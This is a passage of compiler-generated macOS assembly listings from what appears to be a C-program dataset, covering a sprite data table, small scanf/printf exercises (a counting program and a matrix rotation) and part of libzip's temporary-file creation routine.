.globl _oiram_0_racoon_data ## @oiram_0_racoon_data
.p2align 4
_oiram_0_racoon_data:
.ascii "\020\033\006\002\020\020\001\003\020\020\020\004\005\b\020)\f\020\020\036\036\020\003\005\b\020)!\006\006\006\036\020\003\004\013\020\020\013\b\b\020\020\020\020\020\020\001\003\r\020\b\b\b\020\020\020\020\020\020\020\020\020\003\f\020\b\b\020\020\013\013\013\013\020\020\020\001\002\013\020\020\020\020\020\013))\020)\020\003\002\r\020))\020\020\013))\020)\020\020\020\001\002\016\020))\020\020\020\013)))\022\022\022\020\002\016\020\013)\013\020\013)\020\013))))\020\003\f\020\013\013\013)\020\020\020\013\013\013\020\001\004\n\020\020\013\013))\020\020\020\020\002\003\n\020\020\020\020\013\013\013\013\013\020\003\003\t\020\b\006\020\020\020\020\020\020\004\002\013\020\b\006\036\006\020\020\027\027\027\020\003\002\f\020\b\006\036\006\020\022\027\027\027\027\020\002\002\f\020\b\006\006\036\020\022\022\027\027\027\020\002\000\017\020\020\020\020\b\006\006\006\020\022\022\022\020\020\020\001\000\017\020)!\020\020\b\b\b\020\020\020\020 \027\020\001\000\017)\022)\020%\020\020\020\007\027\027 \027\020\001\000\017\f)\020\020%%%\007\007\007 \007\007\020\001\000\002!\020\001\013\020%%\007\007\007\007\007\007\007\020\002\000\001\020\002\013\020%%%%%%%%%\020\002\004\t\020\020\020\020\020\020\020\020\020\003\004\007\020\f\f##$\020\005\004\b\020\f\f\f##$\020\004\004\b\020\020\020\020\020\020\020\020\004"
.subsections_via_symbols
| the_stack_data/1124600.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur wzr, [x29, #-20]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-8]
subs w9, w8, #1
stur w9, [x29, #-8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldursw x9, [x29, #-16]
adrp x8, _x@PAGE
add x8, x8, _x@PAGEOFF
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB0_1
LBB0_3:
mov x9, sp
add x8, sp, #24
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
mov w8, #34464
movk w8, #1, lsl #16
stur w8, [x29, #-12]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #1
cset w8, lt
tbnz w8, #0, LBB0_11
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldursw x9, [x29, #-12]
adrp x8, _x@PAGE
add x8, x8, _x@PAGEOFF
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_4 Depth=1
ldur w8, [x29, #-20]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
b LBB0_11
LBB0_9: ; in Loop: Header=BB0_4 Depth=1
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_4 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #1
stur w8, [x29, #-12]
b LBB0_4
LBB0_11:
ldur w8, [x29, #-12]
; implicit-def: $x10
mov x10, x8
ldursw x9, [x29, #-12]
adrp x8, _x@PAGE
add x8, x8, _x@PAGEOFF
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _x ; @x
.zerofill __DATA,__common,_x,400004,2
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d %d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $0, -20(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %eax
movl %eax, %ecx
addl $-1, %ecx
movl %ecx, -8(%rbp)
cmpl $0, %eax
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
movslq -16(%rbp), %rcx
leaq _x(%rip), %rax
movl (%rax,%rcx,4), %edx
addl $1, %edx
leaq _x(%rip), %rax
movl %edx, (%rax,%rcx,4)
jmp LBB0_1
LBB0_3:
leaq L_.str(%rip), %rdi
leaq -24(%rbp), %rsi
movb $0, %al
callq _scanf
movl $100000, -12(%rbp) ## imm = 0x186A0
LBB0_4: ## =>This Inner Loop Header: Depth=1
cmpl $1, -12(%rbp)
jl LBB0_11
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movslq -12(%rbp), %rcx
leaq _x(%rip), %rax
cmpl $0, (%rax,%rcx,4)
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
LBB0_7: ## in Loop: Header=BB0_4 Depth=1
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jne LBB0_9
## %bb.8:
jmp LBB0_11
LBB0_9: ## in Loop: Header=BB0_4 Depth=1
jmp LBB0_10
LBB0_10: ## in Loop: Header=BB0_4 Depth=1
movl -12(%rbp), %eax
addl $-1, %eax
movl %eax, -12(%rbp)
jmp LBB0_4
LBB0_11:
movl -12(%rbp), %esi
movslq -12(%rbp), %rcx
leaq _x(%rip), %rax
movl (%rax,%rcx,4), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _x ## @x
.zerofill __DATA,__common,_x,400004,4
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d %d"
.subsections_via_symbols
| the_stack_data/161080622.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #160
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
sub sp, sp, #16
mov x9, sp
sub x8, x29, #24
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
stur x0, [x29, #-144] ; 8-byte Folded Spill
bl _scanf
ldur x0, [x29, #-144] ; 8-byte Folded Reload
add sp, sp, #16
sub sp, sp, #16
mov x9, sp
sub x8, x29, #28
str x8, [x9]
bl _scanf
add sp, sp, #16
ldur w8, [x29, #-24]
mov x9, x8
stur x9, [x29, #-120] ; 8-byte Folded Spill
ldur w8, [x29, #-28]
; kill: def $x8 killed $w8
stur x8, [x29, #-136] ; 8-byte Folded Spill
mov x10, sp
stur x10, [x29, #-40]
mul x9, x9, x8
lsl x9, x9, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-128] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x11, [x29, #-128] ; 8-byte Folded Reload
ldur x9, [x29, #-120] ; 8-byte Folded Reload
mov x10, sp
subs x10, x10, x11
mov sp, x10
stur x10, [x29, #-112] ; 8-byte Folded Spill
stur x9, [x29, #-48]
stur x8, [x29, #-56]
ldur w8, [x29, #-24]
mov x9, x8
stur x9, [x29, #-88] ; 8-byte Folded Spill
ldur w8, [x29, #-28]
; kill: def $x8 killed $w8
stur x8, [x29, #-104] ; 8-byte Folded Spill
mul x9, x9, x8
lsl x9, x9, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-96] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x11, [x29, #-96] ; 8-byte Folded Reload
ldur x9, [x29, #-88] ; 8-byte Folded Reload
mov x10, sp
subs x10, x10, x11
mov sp, x10
stur x10, [x29, #-80] ; 8-byte Folded Spill
stur x9, [x29, #-64]
stur x8, [x29, #-72]
stur wzr, [x29, #-16]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldur w8, [x29, #-16]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-20]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-20]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldur x8, [x29, #-112] ; 8-byte Folded Reload
ldur x10, [x29, #-136] ; 8-byte Folded Reload
ldursw x9, [x29, #-16]
mul x9, x9, x10
add x8, x8, x9, lsl #2
ldursw x9, [x29, #-20]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_1
LBB0_8:
stur wzr, [x29, #-20]
b LBB0_9
LBB0_9: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
ldur w8, [x29, #-20]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_16
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=1
stur wzr, [x29, #-32]
ldur w8, [x29, #-24]
subs w8, w8, #1
stur w8, [x29, #-16]
b LBB0_11
LBB0_11: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_14
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=2
ldur x9, [x29, #-80] ; 8-byte Folded Reload
ldur x11, [x29, #-104] ; 8-byte Folded Reload
ldur x8, [x29, #-112] ; 8-byte Folded Reload
ldur x12, [x29, #-136] ; 8-byte Folded Reload
ldursw x10, [x29, #-16]
mul x10, x10, x12
add x8, x8, x10, lsl #2
ldursw x10, [x29, #-20]
ldr w8, [x8, x10, lsl #2]
ldursw x10, [x29, #-20]
mul x10, x10, x11
add x9, x9, x10, lsl #2
ldursw x10, [x29, #-32]
str w8, [x9, x10, lsl #2]
ldur w8, [x29, #-32]
add w8, w8, #1
stur w8, [x29, #-32]
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_11 Depth=2
ldur w8, [x29, #-16]
subs w8, w8, #1
stur w8, [x29, #-16]
b LBB0_11
LBB0_14: ; in Loop: Header=BB0_9 Depth=1
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_9 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_9
LBB0_16:
stur wzr, [x29, #-16]
b LBB0_17
LBB0_17: ; =>This Loop Header: Depth=1
; Child Loop BB0_19 Depth 2
ldur w8, [x29, #-16]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_24
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_17 Depth=1
stur wzr, [x29, #-20]
b LBB0_19
LBB0_19: ; Parent Loop BB0_17 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-20]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_19 Depth=2
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldur x10, [x29, #-104] ; 8-byte Folded Reload
ldursw x9, [x29, #-16]
mul x9, x9, x10
add x8, x8, x9, lsl #2
ldursw x9, [x29, #-20]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add sp, sp, #16
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_19 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_19
LBB0_22: ; in Loop: Header=BB0_17 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_17 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_17
LBB0_24:
ldur x8, [x29, #-40]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-148] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_26
b LBB0_25
LBB0_25:
bl ___stack_chk_fail
LBB0_26:
ldur w0, [x29, #-148] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d "
l_.str.2: ; @.str.2
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str(%rip), %rdi
movq %rdi, -136(%rbp) ## 8-byte Spill
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -121(%rbp) ## 1-byte Spill
leaq -24(%rbp), %rsi
callq _scanf
movq -136(%rbp), %rdi ## 8-byte Reload
## kill: def $ecx killed $eax
movb -121(%rbp), %al ## 1-byte Reload
leaq -28(%rbp), %rsi
callq _scanf
movl -24(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -120(%rbp) ## 8-byte Spill
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
movq %rcx, -112(%rbp) ## 8-byte Spill
movq %rsp, %rdx
movq %rdx, -40(%rbp)
imulq %rcx, %rax
shlq $2, %rax
callq ____chkstk_darwin
movq -120(%rbp), %rcx ## 8-byte Reload
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -112(%rbp), %rax ## 8-byte Reload
movq %rsp, %rdx
movq %rdx, -104(%rbp) ## 8-byte Spill
movq %rcx, -48(%rbp)
movq %rax, -56(%rbp)
movl -24(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -96(%rbp) ## 8-byte Spill
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
movq %rcx, -88(%rbp) ## 8-byte Spill
imulq %rcx, %rax
shlq $2, %rax
callq ____chkstk_darwin
movq -96(%rbp), %rcx ## 8-byte Reload
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -88(%rbp), %rax ## 8-byte Reload
movq %rsp, %rdx
movq %rdx, -80(%rbp) ## 8-byte Spill
movq %rcx, -64(%rbp)
movq %rax, -72(%rbp)
movl $0, -16(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
movl -16(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -20(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movq -104(%rbp), %rsi ## 8-byte Reload
movq -112(%rbp), %rcx ## 8-byte Reload
movslq -16(%rbp), %rax
imulq %rcx, %rax
shlq $2, %rax
addq %rax, %rsi
movslq -20(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_8:
movl $0, -20(%rbp)
LBB0_9: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_16
## %bb.10: ## in Loop: Header=BB0_9 Depth=1
movl $0, -32(%rbp)
movl -24(%rbp), %eax
subl $1, %eax
movl %eax, -16(%rbp)
LBB0_11: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $0, -16(%rbp)
jl LBB0_14
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movq -80(%rbp), %rax ## 8-byte Reload
movq -88(%rbp), %rsi ## 8-byte Reload
movq -104(%rbp), %rcx ## 8-byte Reload
movq -112(%rbp), %rdi ## 8-byte Reload
movslq -16(%rbp), %rdx
imulq %rdi, %rdx
shlq $2, %rdx
addq %rdx, %rcx
movslq -20(%rbp), %rdx
movl (%rcx,%rdx,4), %edx
movslq -20(%rbp), %rcx
imulq %rsi, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -32(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
## %bb.13: ## in Loop: Header=BB0_11 Depth=2
movl -16(%rbp), %eax
addl $-1, %eax
movl %eax, -16(%rbp)
jmp LBB0_11
LBB0_14: ## in Loop: Header=BB0_9 Depth=1
jmp LBB0_15
LBB0_15: ## in Loop: Header=BB0_9 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_9
LBB0_16:
movl $0, -16(%rbp)
LBB0_17: ## =>This Loop Header: Depth=1
## Child Loop BB0_19 Depth 2
movl -16(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_24
## %bb.18: ## in Loop: Header=BB0_17 Depth=1
movl $0, -20(%rbp)
LBB0_19: ## Parent Loop BB0_17 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB0_22
## %bb.20: ## in Loop: Header=BB0_19 Depth=2
movq -80(%rbp), %rax ## 8-byte Reload
movq -88(%rbp), %rdx ## 8-byte Reload
movslq -16(%rbp), %rcx
imulq %rdx, %rcx
shlq $2, %rcx
addq %rcx, %rax
movslq -20(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.21: ## in Loop: Header=BB0_19 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_19
LBB0_22: ## in Loop: Header=BB0_17 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.23: ## in Loop: Header=BB0_17 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_17
LBB0_24:
movq -40(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -140(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_26
## %bb.25:
movl -140(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB0_26:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d "
L_.str.2: ## @.str.2
.asciz "\n"
.subsections_via_symbols
| the_stack_data/95260.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __zip_mkstemp ; -- Begin function _zip_mkstemp
.p2align 2
__zip_mkstemp: ; @_zip_mkstemp
.cfi_startproc
; %bb.0:
sub sp, sp, #224
.cfi_def_cfa_offset 224
stp x29, x30, [sp, #208] ; 16-byte Folded Spill
add x29, sp, #208
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, __zip_mkstemp.xtra@PAGE
add x8, x8, __zip_mkstemp.xtra@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-16]
str wzr, [sp, #16]
bl _getpid
str w0, [sp, #20]
ldur x8, [x29, #-16]
stur x8, [x29, #-40]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-40]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-40]
ldrsb w8, [x8]
subs w8, w8, #88
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_5
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #16]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-40]
add x8, x8, #1
stur x8, [x29, #-40]
b LBB0_1
LBB0_7:
ldur x8, [x29, #-40]
ldursb w8, [x8, #-1]
subs w8, w8, #88
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
adrp x8, __zip_mkstemp.xtra@PAGE
ldrb w8, [x8, __zip_mkstemp.xtra@PAGEOFF]
ldur x9, [x29, #-40]
subs x9, x9, #1
mov x10, x9
stur x10, [x29, #-40]
strb w8, [x9]
b LBB0_9
LBB0_9:
ldr w8, [sp, #16]
subs w8, w8, #6
cset w8, le
tbnz w8, #0, LBB0_12
b LBB0_10
LBB0_10:
ldur x8, [x29, #-40]
ldursb w8, [x8, #-1]
subs w8, w8, #88
cset w8, ne
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldrb w8, [x8, #1]
ldur x9, [x29, #-40]
subs x9, x9, #1
mov x10, x9
stur x10, [x29, #-40]
strb w8, [x9]
b LBB0_12
LBB0_12:
b LBB0_13
LBB0_13: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-40]
subs x9, x8, #1
stur x9, [x29, #-40]
ldursb w8, [x8, #-1]
subs w8, w8, #88
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_13 Depth=1
ldr w8, [sp, #20]
mov w9, #10
sdiv w10, w8, w9
mul w10, w10, w9
subs w8, w8, w10
add w8, w8, #48
ldur x10, [x29, #-40]
strb w8, [x10]
ldr w8, [sp, #20]
sdiv w8, w8, w9
str w8, [sp, #20]
b LBB0_13
LBB0_15:
adrp x8, __zip_mkstemp.xtra@PAGE
ldrsb w8, [x8, __zip_mkstemp.xtra@PAGEOFF]
subs w8, w8, #122
cset w8, eq
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16:
adrp x9, __zip_mkstemp.xtra@PAGE
ldrb w8, [x9, __zip_mkstemp.xtra@PAGEOFF]
add w8, w8, #1
strb w8, [x9, __zip_mkstemp.xtra@PAGEOFF]
b LBB0_21
LBB0_17:
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov w9, #97
adrp x10, __zip_mkstemp.xtra@PAGE
strb w9, [x10, __zip_mkstemp.xtra@PAGEOFF]
ldrsb w8, [x8, #1]
subs w8, w8, #122
cset w8, eq
tbnz w8, #0, LBB0_19
b LBB0_18
LBB0_18:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldrb w8, [x9, #1]
add w8, w8, #1
strb w8, [x9, #1]
b LBB0_20
LBB0_19:
ldr x9, [sp, #8] ; 8-byte Folded Reload
mov w8, #97
strb w8, [x9, #1]
b LBB0_20
LBB0_20:
b LBB0_21
LBB0_21:
ldur x8, [x29, #-40]
add x8, x8, #1
stur x8, [x29, #-32]
b LBB0_22
LBB0_22: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-40]
ldur x9, [x29, #-16]
subs x8, x8, x9
cset w8, hi
tbnz w8, #0, LBB0_24
b LBB0_23
LBB0_23:
b LBB0_32
LBB0_24: ; in Loop: Header=BB0_22 Depth=1
ldur x8, [x29, #-40]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, ne
tbnz w8, #0, LBB0_30
b LBB0_25
LBB0_25:
ldur x8, [x29, #-40]
strb wzr, [x8]
ldur x0, [x29, #-16]
add x1, sp, #24
bl _stat
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26:
stur wzr, [x29, #-4]
b LBB0_48
LBB0_27:
ldrh w8, [sp, #28]
and w8, w8, #0xf000
subs w8, w8, #4, lsl #12 ; =16384
cset w8, eq
tbnz w8, #0, LBB0_29
b LBB0_28
LBB0_28:
bl ___error
mov w8, #20
str w8, [x0]
stur wzr, [x29, #-4]
b LBB0_48
LBB0_29:
ldur x9, [x29, #-40]
mov w8, #47
strb w8, [x9]
b LBB0_32
LBB0_30: ; in Loop: Header=BB0_22 Depth=1
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_22 Depth=1
ldur x8, [x29, #-40]
subs x8, x8, #1
stur x8, [x29, #-40]
b LBB0_22
LBB0_32:
b LBB0_33
LBB0_33: ; =>This Loop Header: Depth=1
; Child Loop BB0_38 Depth 2
ldur x0, [x29, #-16]
mov x9, sp
mov x8, #384
str x8, [x9]
mov w1, #2562
bl _open
stur w0, [x29, #-20]
subs w8, w0, #0
cset w8, lt
tbnz w8, #0, LBB0_35
b LBB0_34
LBB0_34:
ldur w8, [x29, #-20]
stur w8, [x29, #-4]
b LBB0_48
LBB0_35: ; in Loop: Header=BB0_33 Depth=1
bl ___error
ldr w8, [x0]
subs w8, w8, #17
cset w8, eq
tbnz w8, #0, LBB0_37
b LBB0_36
LBB0_36:
stur wzr, [x29, #-4]
b LBB0_48
LBB0_37: ; in Loop: Header=BB0_33 Depth=1
ldur x8, [x29, #-32]
stur x8, [x29, #-40]
b LBB0_38
LBB0_38: ; Parent Loop BB0_33 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-40]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_40
b LBB0_39
LBB0_39:
stur wzr, [x29, #-4]
b LBB0_48
LBB0_40: ; in Loop: Header=BB0_38 Depth=2
ldur x8, [x29, #-40]
ldrsb w8, [x8]
subs w8, w8, #122
cset w8, ne
tbnz w8, #0, LBB0_42
b LBB0_41
LBB0_41: ; in Loop: Header=BB0_38 Depth=2
ldur x9, [x29, #-40]
add x8, x9, #1
stur x8, [x29, #-40]
mov w8, #97
strb w8, [x9]
b LBB0_46
